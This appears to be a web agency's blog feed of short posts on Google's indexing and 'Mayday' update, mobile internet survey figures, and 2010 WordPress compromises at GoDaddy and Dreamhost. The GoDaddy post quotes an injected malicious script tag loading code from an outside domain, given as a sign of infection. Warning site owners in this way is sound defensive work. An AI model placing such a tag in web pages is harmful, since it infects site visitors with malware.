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Chief Web Guru at 48Web. We build awesome WordPress websites and web applications.
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Internet Business Podcast at Managing The Edge
"So why did we build a new search indexing system? Content on the web is blossoming. It's growing not just in size and numbers but with the advent of video, images, news and real-time updates, the average webpage is richer and more complex. In addition, people's expectations for search are higher than they used to be. Searchers want to find the latest relevant content and publishers expect to be found the instant they publish."
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However, sometimes a Google algorithm change is substantial enough that even those who don’t spend a lot of time focusing on the algorithms notice it. That seems to be the case with what those discussing it at Webmaster World have named “Mayday”. Last week at Google I/O, I was on a panel with Googler Matt Cutts who said, when asked during Q&A, ”this is an algorithmic change in Google, looking for higher quality sites to surface for long tail queries. It went through vigorous testing and isn’t going to be rolled back.”
"Google Confirms “Mayday” Update Impacts Long Tail Traffic"
Related....
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ABI research released survey data (n=1,000 US consumers) that show growth in daily mobile Internet access and healthy mobile response rates to ads. Here's what the data show at the top level:
- 27% of mobile Internet users have clicked on a banner or text link
- 28% of mobile phone users access Internet sites at least once a day from their phones vs. 16% in the company's 2008 survey
- Just under 45% of survey respondents, "while not enthusiastic, would accept promotions if they had some control over the process." This compares to 36% in the firm's 2008 survey.
- Consumers are cautious about making purchases from their phones, with almost 3/4 citing security concerns as an inhibitor
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We are seeing multiple reports today of Wordpress sites (running their latest version) getting compromised. The initial reports today were restricted only to Dreamhost, but now we are seeing the same pattern on blogs hosted at GoDaddy and other places.So, it doesn't look like something specific to a hosting company. The only thing in similar is that all of them are on shared servers.
Find specific details on the hack here.
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It seems that a second round of attacks are happening today at GoDaddy and infecting all kind of sites (Joomla, Wordress,etc). Looking at the modification dates on the files, they all happened May 1st (today) during the morning from 1 to 3/4 am.
GoDaddy hosted WordPress sites have been hacked... again. They have confirmed the issues.
Check out this post to get help if your WordPress site has been hijacked.
Another reason to get good WordPress hosting.
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WordPress blogs hosted on Godaddy were hacked by another malicious attack on April 24, 2010 at 6:54am. What was visible in the source code was <script src="http://cechirecom.com/js.php"> located just above the </body> tag on all .php files.
This is dangerous malware! It tries to infect your visitors computers with a virus. If a visitor is not protected with a good, up-to-date anti-virus program, their computer will become infected. And it needs to be removed
If you host WordPress at GoDaddy you may want to check this out as your site may be vulnerable to attack. Or maybe you are ready to get good WordPress hosting :-)
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One standout from this is that "Small-business owners don’t decide what they want to happen, so they don’t have a way to measure and respond to success or failure"
This is why you should be making data driven decisions
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